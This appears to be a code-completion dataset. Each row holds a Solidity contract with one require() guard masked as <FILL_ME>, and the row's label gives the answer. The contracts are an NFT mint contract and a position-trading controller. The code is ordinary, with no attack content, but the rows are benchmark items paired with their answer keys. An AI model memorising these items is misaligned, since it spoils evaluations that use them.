comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
"// MINT_INACTIVE"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract BlurMonks is ERC721A, Ownable { using Strings for uint256; uint256 public MAX_SUPPLY = 1024; uint256 public MAX_WHITELIST_SUPPLY = 224; uint256 public MAX_PUBLIC_MINT_PER_TX = 3; uint256 public MAX_WHITELIST_MINT_PER_TX = 1; uint256 public TOTAL_WHITELIST_MINT = 0; uint256 public PUBLIC_COST = .005 ether; uint256 public WHITELIST_COST = 0 ether; bool public PAUSED = true; string private baseURI; bytes32 private merkleRoot; mapping(address => uint256) public CLAIMED_WHITELIST_COUNT; constructor(string memory initBaseURI) ERC721A("Blur Monks", "BM") { } function mint(uint256 amount) external payable { require(<FILL_ME>) require( (_totalMinted() + amount) <= MAX_SUPPLY, "// REACHED_MAX_PUBLIC_MINT_CAP" ); require( amount <= MAX_PUBLIC_MINT_PER_TX, "// REACHED_MAX_MINT_CAP_PER_TX" ); require(msg.value >= (PUBLIC_COST * amount), "// INVALID_MINT_PRICE"); _safeMint(msg.sender, amount); } function allowlistMint(bytes32[] calldata _merkleProof, uint256 amount) external payable { } function ownerMint(address receiver, uint256 mintAmount) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getMerkleRoot() external view returns (bytes32) { } function setPaused() external onlyOwner { } function setSupply(uint256 newSupply) external onlyOwner { } function setMaxWhitelistSupply(uint256 newSupply) external onlyOwner { } function setTotalWhitelistMint(uint256 newTotalWhitelistMint) external onlyOwner { } function setPublicCost(uint256 newPrice) external onlyOwner { } function setWhitelistPrice(uint256 newPrice) external onlyOwner { } function setMaxPublicMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function setMaxWhitelistMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function withdraw() external onlyOwner { } }
!PAUSED,"// MINT_INACTIVE"
189,745
!PAUSED
"// REACHED_MAX_PUBLIC_MINT_CAP"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract BlurMonks is ERC721A, Ownable { using Strings for uint256; uint256 public MAX_SUPPLY = 1024; uint256 public MAX_WHITELIST_SUPPLY = 224; uint256 public MAX_PUBLIC_MINT_PER_TX = 3; uint256 public MAX_WHITELIST_MINT_PER_TX = 1; uint256 public TOTAL_WHITELIST_MINT = 0; uint256 public PUBLIC_COST = .005 ether; uint256 public WHITELIST_COST = 0 ether; bool public PAUSED = true; string private baseURI; bytes32 private merkleRoot; mapping(address => uint256) public CLAIMED_WHITELIST_COUNT; constructor(string memory initBaseURI) ERC721A("Blur Monks", "BM") { } function mint(uint256 amount) external payable { require(!PAUSED, "// MINT_INACTIVE"); require(<FILL_ME>) require( amount <= MAX_PUBLIC_MINT_PER_TX, "// REACHED_MAX_MINT_CAP_PER_TX" ); require(msg.value >= (PUBLIC_COST * amount), "// INVALID_MINT_PRICE"); _safeMint(msg.sender, amount); } function allowlistMint(bytes32[] calldata _merkleProof, uint256 amount) external payable { } function ownerMint(address receiver, uint256 mintAmount) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getMerkleRoot() external view returns (bytes32) { } function setPaused() external onlyOwner { } function setSupply(uint256 newSupply) external onlyOwner { } function setMaxWhitelistSupply(uint256 newSupply) external onlyOwner { } function setTotalWhitelistMint(uint256 newTotalWhitelistMint) external onlyOwner { } function setPublicCost(uint256 newPrice) external onlyOwner { } function setWhitelistPrice(uint256 newPrice) external onlyOwner { } function setMaxPublicMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function setMaxWhitelistMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function withdraw() external onlyOwner { } }
(_totalMinted()+amount)<=MAX_SUPPLY,"// REACHED_MAX_PUBLIC_MINT_CAP"
189,745
(_totalMinted()+amount)<=MAX_SUPPLY
"// INVALID_MINT_PRICE"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract BlurMonks is ERC721A, Ownable { using Strings for uint256; uint256 public MAX_SUPPLY = 1024; uint256 public MAX_WHITELIST_SUPPLY = 224; uint256 public MAX_PUBLIC_MINT_PER_TX = 3; uint256 public MAX_WHITELIST_MINT_PER_TX = 1; uint256 public TOTAL_WHITELIST_MINT = 0; uint256 public PUBLIC_COST = .005 ether; uint256 public WHITELIST_COST = 0 ether; bool public PAUSED = true; string private baseURI; bytes32 private merkleRoot; mapping(address => uint256) public CLAIMED_WHITELIST_COUNT; constructor(string memory initBaseURI) ERC721A("Blur Monks", "BM") { } function mint(uint256 amount) external payable { require(!PAUSED, "// MINT_INACTIVE"); require( (_totalMinted() + amount) <= MAX_SUPPLY, "// REACHED_MAX_PUBLIC_MINT_CAP" ); require( amount <= MAX_PUBLIC_MINT_PER_TX, "// REACHED_MAX_MINT_CAP_PER_TX" ); require(<FILL_ME>) _safeMint(msg.sender, amount); } function allowlistMint(bytes32[] calldata _merkleProof, uint256 amount) external payable { } function ownerMint(address receiver, uint256 mintAmount) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getMerkleRoot() external view returns (bytes32) { } function setPaused() external onlyOwner { } function setSupply(uint256 newSupply) external onlyOwner { } function setMaxWhitelistSupply(uint256 newSupply) external onlyOwner { } function setTotalWhitelistMint(uint256 newTotalWhitelistMint) external onlyOwner { } function setPublicCost(uint256 newPrice) external onlyOwner { } function setWhitelistPrice(uint256 newPrice) external onlyOwner { } function setMaxPublicMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function setMaxWhitelistMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function withdraw() external onlyOwner { } }
msg.value>=(PUBLIC_COST*amount),"// INVALID_MINT_PRICE"
189,745
msg.value>=(PUBLIC_COST*amount)
"// REACHED_MAX_WHITELIST_MINT_CAP"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract BlurMonks is ERC721A, Ownable { using Strings for uint256; uint256 public MAX_SUPPLY = 1024; uint256 public MAX_WHITELIST_SUPPLY = 224; uint256 public MAX_PUBLIC_MINT_PER_TX = 3; uint256 public MAX_WHITELIST_MINT_PER_TX = 1; uint256 public TOTAL_WHITELIST_MINT = 0; uint256 public PUBLIC_COST = .005 ether; uint256 public WHITELIST_COST = 0 ether; bool public PAUSED = true; string private baseURI; bytes32 private merkleRoot; mapping(address => uint256) public CLAIMED_WHITELIST_COUNT; constructor(string memory initBaseURI) ERC721A("Blur Monks", "BM") { } function mint(uint256 amount) external payable { } function allowlistMint(bytes32[] calldata _merkleProof, uint256 amount) external payable { require(!PAUSED, "// MINT_INACTIVE"); require( (_totalMinted() + amount) <= MAX_SUPPLY, "REACHED_MAX_MINT_CAP" ); require(<FILL_ME>) require( (CLAIMED_WHITELIST_COUNT[msg.sender] + amount) <= MAX_WHITELIST_MINT_PER_TX, "// REACHED_MAX_MINT_CAP_PER_TX" ); require( msg.value >= (WHITELIST_COST * amount), "// INVALID_MINT_PRICE" ); bytes32 sender = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify(_merkleProof, merkleRoot, sender), "// NOT_ALLOWED_TO_MINT" ); CLAIMED_WHITELIST_COUNT[msg.sender] += amount; TOTAL_WHITELIST_MINT += amount; _safeMint(msg.sender, amount); } function ownerMint(address receiver, uint256 mintAmount) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getMerkleRoot() external view returns (bytes32) { } function setPaused() external onlyOwner { } function setSupply(uint256 newSupply) external onlyOwner { } function setMaxWhitelistSupply(uint256 newSupply) external onlyOwner { } function setTotalWhitelistMint(uint256 newTotalWhitelistMint) external onlyOwner { } function setPublicCost(uint256 newPrice) external onlyOwner { } function setWhitelistPrice(uint256 newPrice) external onlyOwner { } function setMaxPublicMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function setMaxWhitelistMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function withdraw() external onlyOwner { } }
(TOTAL_WHITELIST_MINT+amount)<=MAX_WHITELIST_SUPPLY,"// REACHED_MAX_WHITELIST_MINT_CAP"
189,745
(TOTAL_WHITELIST_MINT+amount)<=MAX_WHITELIST_SUPPLY
"// REACHED_MAX_MINT_CAP_PER_TX"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract BlurMonks is ERC721A, Ownable { using Strings for uint256; uint256 public MAX_SUPPLY = 1024; uint256 public MAX_WHITELIST_SUPPLY = 224; uint256 public MAX_PUBLIC_MINT_PER_TX = 3; uint256 public MAX_WHITELIST_MINT_PER_TX = 1; uint256 public TOTAL_WHITELIST_MINT = 0; uint256 public PUBLIC_COST = .005 ether; uint256 public WHITELIST_COST = 0 ether; bool public PAUSED = true; string private baseURI; bytes32 private merkleRoot; mapping(address => uint256) public CLAIMED_WHITELIST_COUNT; constructor(string memory initBaseURI) ERC721A("Blur Monks", "BM") { } function mint(uint256 amount) external payable { } function allowlistMint(bytes32[] calldata _merkleProof, uint256 amount) external payable { require(!PAUSED, "// MINT_INACTIVE"); require( (_totalMinted() + amount) <= MAX_SUPPLY, "REACHED_MAX_MINT_CAP" ); require( (TOTAL_WHITELIST_MINT + amount) <= MAX_WHITELIST_SUPPLY, "// REACHED_MAX_WHITELIST_MINT_CAP" ); require(<FILL_ME>) require( msg.value >= (WHITELIST_COST * amount), "// INVALID_MINT_PRICE" ); bytes32 sender = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify(_merkleProof, merkleRoot, sender), "// NOT_ALLOWED_TO_MINT" ); CLAIMED_WHITELIST_COUNT[msg.sender] += amount; TOTAL_WHITELIST_MINT += amount; _safeMint(msg.sender, amount); } function ownerMint(address receiver, uint256 mintAmount) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getMerkleRoot() external view returns (bytes32) { } function setPaused() external onlyOwner { } function setSupply(uint256 newSupply) external onlyOwner { } function setMaxWhitelistSupply(uint256 newSupply) external onlyOwner { } function setTotalWhitelistMint(uint256 newTotalWhitelistMint) external onlyOwner { } function setPublicCost(uint256 newPrice) external onlyOwner { } function setWhitelistPrice(uint256 newPrice) external onlyOwner { } function setMaxPublicMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function setMaxWhitelistMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function withdraw() external onlyOwner { } }
(CLAIMED_WHITELIST_COUNT[msg.sender]+amount)<=MAX_WHITELIST_MINT_PER_TX,"// REACHED_MAX_MINT_CAP_PER_TX"
189,745
(CLAIMED_WHITELIST_COUNT[msg.sender]+amount)<=MAX_WHITELIST_MINT_PER_TX
"// INVALID_MINT_PRICE"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract BlurMonks is ERC721A, Ownable { using Strings for uint256; uint256 public MAX_SUPPLY = 1024; uint256 public MAX_WHITELIST_SUPPLY = 224; uint256 public MAX_PUBLIC_MINT_PER_TX = 3; uint256 public MAX_WHITELIST_MINT_PER_TX = 1; uint256 public TOTAL_WHITELIST_MINT = 0; uint256 public PUBLIC_COST = .005 ether; uint256 public WHITELIST_COST = 0 ether; bool public PAUSED = true; string private baseURI; bytes32 private merkleRoot; mapping(address => uint256) public CLAIMED_WHITELIST_COUNT; constructor(string memory initBaseURI) ERC721A("Blur Monks", "BM") { } function mint(uint256 amount) external payable { } function allowlistMint(bytes32[] calldata _merkleProof, uint256 amount) external payable { require(!PAUSED, "// MINT_INACTIVE"); require( (_totalMinted() + amount) <= MAX_SUPPLY, "REACHED_MAX_MINT_CAP" ); require( (TOTAL_WHITELIST_MINT + amount) <= MAX_WHITELIST_SUPPLY, "// REACHED_MAX_WHITELIST_MINT_CAP" ); require( (CLAIMED_WHITELIST_COUNT[msg.sender] + amount) <= MAX_WHITELIST_MINT_PER_TX, "// REACHED_MAX_MINT_CAP_PER_TX" ); require(<FILL_ME>) bytes32 sender = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify(_merkleProof, merkleRoot, sender), "// NOT_ALLOWED_TO_MINT" ); CLAIMED_WHITELIST_COUNT[msg.sender] += amount; TOTAL_WHITELIST_MINT += amount; _safeMint(msg.sender, amount); } function ownerMint(address receiver, uint256 mintAmount) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function getMerkleRoot() external view returns (bytes32) { } function setPaused() external onlyOwner { } function setSupply(uint256 newSupply) external onlyOwner { } function setMaxWhitelistSupply(uint256 newSupply) external onlyOwner { } function setTotalWhitelistMint(uint256 newTotalWhitelistMint) external onlyOwner { } function setPublicCost(uint256 newPrice) external onlyOwner { } function setWhitelistPrice(uint256 newPrice) external onlyOwner { } function setMaxPublicMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function setMaxWhitelistMintPerTx(uint256 newMaxPerTx) external onlyOwner { } function withdraw() external onlyOwner { } }
msg.value>=(WHITELIST_COST*amount),"// INVALID_MINT_PRICE"
189,745
msg.value>=(WHITELIST_COST*amount)
'only for position owner'
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.17; import '../lib/factories/HasFactories.sol'; import './ItemRef.sol'; import 'contracts/position_trading/IPositionAlgorithm.sol'; import './IPositionsController.sol'; import 'contracts/fee/IFeeSettings.sol'; import 'contracts/position_trading/ItemRefAsAssetLibrary.sol'; import 'contracts/position_trading/AssetTransferData.sol'; interface IErc20Balance { function balanceOf(address account) external view returns (uint256); } contract PositionsController is HasFactories, IPositionsController { using ItemRefAsAssetLibrary for ItemRef; IFeeSettings feeSettings; uint256 _positionsCount; // total positions created uint256 _assetsCount; mapping(uint256 => address) public owners; // position owners mapping(uint256 => ItemRef) public ownerAssets; // owner's asset (what is offered). by position ids mapping(uint256 => ItemRef) public outputAssets; // output asset (what they want in return), may be absent, in case of locks. by position ids mapping(uint256 => address) public algorithms; // algorithm for processing the input and output asset mapping(uint256 => bool) _buildModes; // build modes by positions mapping(uint256 => uint256) _positionsByAssets; constructor(address feeSettings_) { } receive() external payable {} modifier onlyPositionOwner(uint256 positionId) { require(<FILL_ME>) _; } modifier onlyBuildMode(uint256 positionId) { } modifier oplyPositionAlgorithm(uint256 positionId) { } function createPosition(address owner) external onlyFactory returns (uint256) { } function getPosition(uint256 positionId) external view returns ( address algorithm, AssetData memory asset1, AssetData memory asset2 ) { } function positionsCount() external returns (uint256) { } function isBuildMode(uint256 positionId) external view returns (bool) { } function stopBuild(uint256 positionId) external onlyFactory onlyBuildMode(positionId) { } function getFeeSettings() external view returns (IFeeSettings) { } function ownerOf(uint256 positionId) external view override returns (address) { } function getAssetReference(uint256 positionId, uint256 assetCode) external view returns (ItemRef memory) { } function getAllPositionAssetReferences(uint256 positionId) external view returns (ItemRef memory position1, ItemRef memory position2) { } function getAsset(uint256 positionId, uint256 assetCode) external view returns (AssetData memory data) { } function createAsset( uint256 positionId, uint256 assetCode, address assetsController ) external onlyFactory returns (ItemRef memory) { } function setAlgorithm(uint256 positionId, address algorithm) external onlyFactory onlyBuildMode(positionId) { } function getAlgorithm(uint256 positionId) external view override returns (address) { } function assetsCount() external view returns (uint256) { } function createNewAssetId() external onlyFactory returns (uint256) { } function _createNewAssetId() internal onlyFactory returns (uint256) { } function getAssetPositionId(uint256 assetId) external view returns (uint256) { } function beforeAssetTransfer(AssetTransferData calldata arg) external onlyFactory { } function afterAssetTransfer(AssetTransferData calldata arg) external payable onlyFactory { } function transferToAsset( uint256 positionId, uint256 assetCode, uint256 count, uint256[] calldata data ) external payable returns (uint256 ethSurplus) { } function transferToAssetFrom( address from, uint256 positionId, uint256 assetCode, uint256 count, uint256[] calldata data ) external payable onlyFactory returns (uint256 ethSurplus) { } function transferToAnotherAssetInternal( ItemRef calldata from, ItemRef calldata to, uint256 count ) external oplyPositionAlgorithm(from.getPositionId()) { } function withdraw( uint256 positionId, uint256 assetCode, uint256 count ) external onlyPositionOwner(positionId) { } function withdrawTo( uint256 positionId, uint256 assetCode, address to, uint256 count ) external { } function _withdrawTo( uint256 positionId, uint256 assetCode, address to, uint256 count ) internal { } function withdrawInternal( ItemRef calldata asset, address to, uint256 count ) external oplyPositionAlgorithm(asset.getPositionId()) { } function count(ItemRef calldata asset) external view returns (uint256) { } function getCounts(uint256 positionId) external view returns (uint256, uint256) { } function positionLocked(uint256 positionId) external view returns (bool) { } }
owners[positionId]==msg.sender,'only for position owner'
189,747
owners[positionId]==msg.sender
'only for position build mode'
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.17; import '../lib/factories/HasFactories.sol'; import './ItemRef.sol'; import 'contracts/position_trading/IPositionAlgorithm.sol'; import './IPositionsController.sol'; import 'contracts/fee/IFeeSettings.sol'; import 'contracts/position_trading/ItemRefAsAssetLibrary.sol'; import 'contracts/position_trading/AssetTransferData.sol'; interface IErc20Balance { function balanceOf(address account) external view returns (uint256); } contract PositionsController is HasFactories, IPositionsController { using ItemRefAsAssetLibrary for ItemRef; IFeeSettings feeSettings; uint256 _positionsCount; // total positions created uint256 _assetsCount; mapping(uint256 => address) public owners; // position owners mapping(uint256 => ItemRef) public ownerAssets; // owner's asset (what is offered). by position ids mapping(uint256 => ItemRef) public outputAssets; // output asset (what they want in return), may be absent, in case of locks. by position ids mapping(uint256 => address) public algorithms; // algorithm for processing the input and output asset mapping(uint256 => bool) _buildModes; // build modes by positions mapping(uint256 => uint256) _positionsByAssets; constructor(address feeSettings_) { } receive() external payable {} modifier onlyPositionOwner(uint256 positionId) { } modifier onlyBuildMode(uint256 positionId) { require(<FILL_ME>) _; } modifier oplyPositionAlgorithm(uint256 positionId) { } function createPosition(address owner) external onlyFactory returns (uint256) { } function getPosition(uint256 positionId) external view returns ( address algorithm, AssetData memory asset1, AssetData memory asset2 ) { } function positionsCount() external returns (uint256) { } function isBuildMode(uint256 positionId) external view returns (bool) { } function stopBuild(uint256 positionId) external onlyFactory onlyBuildMode(positionId) { } function getFeeSettings() external view returns (IFeeSettings) { } function ownerOf(uint256 positionId) external view override returns (address) { } function getAssetReference(uint256 positionId, uint256 assetCode) external view returns (ItemRef memory) { } function getAllPositionAssetReferences(uint256 positionId) external view returns (ItemRef memory position1, ItemRef memory position2) { } function getAsset(uint256 positionId, uint256 assetCode) external view returns (AssetData memory data) { } function createAsset( uint256 positionId, uint256 assetCode, address assetsController ) external onlyFactory returns (ItemRef memory) { } function setAlgorithm(uint256 positionId, address algorithm) external onlyFactory onlyBuildMode(positionId) { } function getAlgorithm(uint256 positionId) external view override returns (address) { } function assetsCount() external view returns (uint256) { } function createNewAssetId() external onlyFactory returns (uint256) { } function _createNewAssetId() internal onlyFactory returns (uint256) { } function getAssetPositionId(uint256 assetId) external view returns (uint256) { } function beforeAssetTransfer(AssetTransferData calldata arg) external onlyFactory { } function afterAssetTransfer(AssetTransferData calldata arg) external payable onlyFactory { } function transferToAsset( uint256 positionId, uint256 assetCode, uint256 count, uint256[] calldata data ) external payable returns (uint256 ethSurplus) { } function transferToAssetFrom( address from, uint256 positionId, uint256 assetCode, uint256 count, uint256[] calldata data ) external payable onlyFactory returns (uint256 ethSurplus) { } function transferToAnotherAssetInternal( ItemRef calldata from, ItemRef calldata to, uint256 count ) external oplyPositionAlgorithm(from.getPositionId()) { } function withdraw( uint256 positionId, uint256 assetCode, uint256 count ) external onlyPositionOwner(positionId) { } function withdrawTo( uint256 positionId, uint256 assetCode, address to, uint256 count ) external { } function _withdrawTo( uint256 positionId, uint256 assetCode, address to, uint256 count ) internal { } function withdrawInternal( ItemRef calldata asset, address to, uint256 count ) external oplyPositionAlgorithm(asset.getPositionId()) { } function count(ItemRef calldata asset) external view returns (uint256) { } function getCounts(uint256 positionId) external view returns (uint256, uint256) { } function positionLocked(uint256 positionId) external view returns (bool) { } }
this.isBuildMode(positionId),'only for position build mode'
189,747
this.isBuildMode(positionId)
'only for position algotithm'
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.17; import '../lib/factories/HasFactories.sol'; import './ItemRef.sol'; import 'contracts/position_trading/IPositionAlgorithm.sol'; import './IPositionsController.sol'; import 'contracts/fee/IFeeSettings.sol'; import 'contracts/position_trading/ItemRefAsAssetLibrary.sol'; import 'contracts/position_trading/AssetTransferData.sol'; interface IErc20Balance { function balanceOf(address account) external view returns (uint256); } contract PositionsController is HasFactories, IPositionsController { using ItemRefAsAssetLibrary for ItemRef; IFeeSettings feeSettings; uint256 _positionsCount; // total positions created uint256 _assetsCount; mapping(uint256 => address) public owners; // position owners mapping(uint256 => ItemRef) public ownerAssets; // owner's asset (what is offered). by position ids mapping(uint256 => ItemRef) public outputAssets; // output asset (what they want in return), may be absent, in case of locks. by position ids mapping(uint256 => address) public algorithms; // algorithm for processing the input and output asset mapping(uint256 => bool) _buildModes; // build modes by positions mapping(uint256 => uint256) _positionsByAssets; constructor(address feeSettings_) { } receive() external payable {} modifier onlyPositionOwner(uint256 positionId) { } modifier onlyBuildMode(uint256 positionId) { } modifier oplyPositionAlgorithm(uint256 positionId) { require(<FILL_ME>) _; } function createPosition(address owner) external onlyFactory returns (uint256) { } function getPosition(uint256 positionId) external view returns ( address algorithm, AssetData memory asset1, AssetData memory asset2 ) { } function positionsCount() external returns (uint256) { } function isBuildMode(uint256 positionId) external view returns (bool) { } function stopBuild(uint256 positionId) external onlyFactory onlyBuildMode(positionId) { } function getFeeSettings() external view returns (IFeeSettings) { } function ownerOf(uint256 positionId) external view override returns (address) { } function getAssetReference(uint256 positionId, uint256 assetCode) external view returns (ItemRef memory) { } function getAllPositionAssetReferences(uint256 positionId) external view returns (ItemRef memory position1, ItemRef memory position2) { } function getAsset(uint256 positionId, uint256 assetCode) external view returns (AssetData memory data) { } function createAsset( uint256 positionId, uint256 assetCode, address assetsController ) external onlyFactory returns (ItemRef memory) { } function setAlgorithm(uint256 positionId, address algorithm) external onlyFactory onlyBuildMode(positionId) { } function getAlgorithm(uint256 positionId) external view override returns (address) { } function assetsCount() external view returns (uint256) { } function createNewAssetId() external onlyFactory returns (uint256) { } function _createNewAssetId() internal onlyFactory returns (uint256) { } function getAssetPositionId(uint256 assetId) external view returns (uint256) { } function beforeAssetTransfer(AssetTransferData calldata arg) external onlyFactory { } function afterAssetTransfer(AssetTransferData calldata arg) external payable onlyFactory { } function transferToAsset( uint256 positionId, uint256 assetCode, uint256 count, uint256[] calldata data ) external payable returns (uint256 ethSurplus) { } function transferToAssetFrom( address from, uint256 positionId, uint256 assetCode, uint256 count, uint256[] calldata data ) external payable onlyFactory returns (uint256 ethSurplus) { } function transferToAnotherAssetInternal( ItemRef calldata from, ItemRef calldata to, uint256 count ) external oplyPositionAlgorithm(from.getPositionId()) { } function withdraw( uint256 positionId, uint256 assetCode, uint256 count ) external onlyPositionOwner(positionId) { } function withdrawTo( uint256 positionId, uint256 assetCode, address to, uint256 count ) external { } function _withdrawTo( uint256 positionId, uint256 assetCode, address to, uint256 count ) internal { } function withdrawInternal( ItemRef calldata asset, address to, uint256 count ) external oplyPositionAlgorithm(asset.getPositionId()) { } function count(ItemRef calldata asset) external view returns (uint256) { } function getCounts(uint256 positionId) external view returns (uint256, uint256) { } function positionLocked(uint256 positionId) external view returns (bool) { } }
this.getAlgorithm(positionId)==msg.sender,'only for position algotithm'
189,747
this.getAlgorithm(positionId)==msg.sender
'transfer from asset to must be same types'
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.17; import '../lib/factories/HasFactories.sol'; import './ItemRef.sol'; import 'contracts/position_trading/IPositionAlgorithm.sol'; import './IPositionsController.sol'; import 'contracts/fee/IFeeSettings.sol'; import 'contracts/position_trading/ItemRefAsAssetLibrary.sol'; import 'contracts/position_trading/AssetTransferData.sol'; interface IErc20Balance { function balanceOf(address account) external view returns (uint256); } contract PositionsController is HasFactories, IPositionsController { using ItemRefAsAssetLibrary for ItemRef; IFeeSettings feeSettings; uint256 _positionsCount; // total positions created uint256 _assetsCount; mapping(uint256 => address) public owners; // position owners mapping(uint256 => ItemRef) public ownerAssets; // owner's asset (what is offered). by position ids mapping(uint256 => ItemRef) public outputAssets; // output asset (what they want in return), may be absent, in case of locks. by position ids mapping(uint256 => address) public algorithms; // algorithm for processing the input and output asset mapping(uint256 => bool) _buildModes; // build modes by positions mapping(uint256 => uint256) _positionsByAssets; constructor(address feeSettings_) { } receive() external payable {} modifier onlyPositionOwner(uint256 positionId) { } modifier onlyBuildMode(uint256 positionId) { } modifier oplyPositionAlgorithm(uint256 positionId) { } function createPosition(address owner) external onlyFactory returns (uint256) { } function getPosition(uint256 positionId) external view returns ( address algorithm, AssetData memory asset1, AssetData memory asset2 ) { } function positionsCount() external returns (uint256) { } function isBuildMode(uint256 positionId) external view returns (bool) { } function stopBuild(uint256 positionId) external onlyFactory onlyBuildMode(positionId) { } function getFeeSettings() external view returns (IFeeSettings) { } function ownerOf(uint256 positionId) external view override returns (address) { } function getAssetReference(uint256 positionId, uint256 assetCode) external view returns (ItemRef memory) { } function getAllPositionAssetReferences(uint256 positionId) external view returns (ItemRef memory position1, ItemRef memory position2) { } function getAsset(uint256 positionId, uint256 assetCode) external view returns (AssetData memory data) { } function createAsset( uint256 positionId, uint256 assetCode, address assetsController ) external onlyFactory returns (ItemRef memory) { } function setAlgorithm(uint256 positionId, address algorithm) external onlyFactory onlyBuildMode(positionId) { } function getAlgorithm(uint256 positionId) external view override returns (address) { } function assetsCount() external view returns (uint256) { } function createNewAssetId() external onlyFactory returns (uint256) { } function _createNewAssetId() internal onlyFactory returns (uint256) { } function getAssetPositionId(uint256 assetId) external view returns (uint256) { } function beforeAssetTransfer(AssetTransferData calldata arg) external onlyFactory { } function afterAssetTransfer(AssetTransferData calldata arg) external payable onlyFactory { } function transferToAsset( uint256 positionId, uint256 assetCode, uint256 count, uint256[] calldata data ) external payable returns (uint256 ethSurplus) { } function transferToAssetFrom( address from, uint256 positionId, uint256 assetCode, uint256 count, uint256[] calldata data ) external payable onlyFactory returns (uint256 ethSurplus) { } function transferToAnotherAssetInternal( ItemRef calldata from, ItemRef calldata to, uint256 count ) external oplyPositionAlgorithm(from.getPositionId()) { require(<FILL_ME>) if (to.assetTypeId() == 2) { uint256 lastBalance = IErc20Balance(to.contractAddr()).balanceOf(to.addr); from.withdraw(to.addr, count); to.addCount(IErc20Balance(to.contractAddr()).balanceOf(to.addr) - lastBalance); } else { from.withdraw(to.addr, count); to.addCount(count); } } function withdraw( uint256 positionId, uint256 assetCode, uint256 count ) external onlyPositionOwner(positionId) { } function withdrawTo( uint256 positionId, uint256 assetCode, address to, uint256 count ) external { } function _withdrawTo( uint256 positionId, uint256 assetCode, address to, uint256 count ) internal { } function withdrawInternal( ItemRef calldata asset, address to, uint256 count ) external oplyPositionAlgorithm(asset.getPositionId()) { } function count(ItemRef calldata asset) external view returns (uint256) { } function getCounts(uint256 positionId) external view returns (uint256, uint256) { } function positionLocked(uint256 positionId) external view returns (bool) { } }
from.assetTypeId()==to.assetTypeId(),'transfer from asset to must be same types'
189,747
from.assetTypeId()==to.assetTypeId()
null
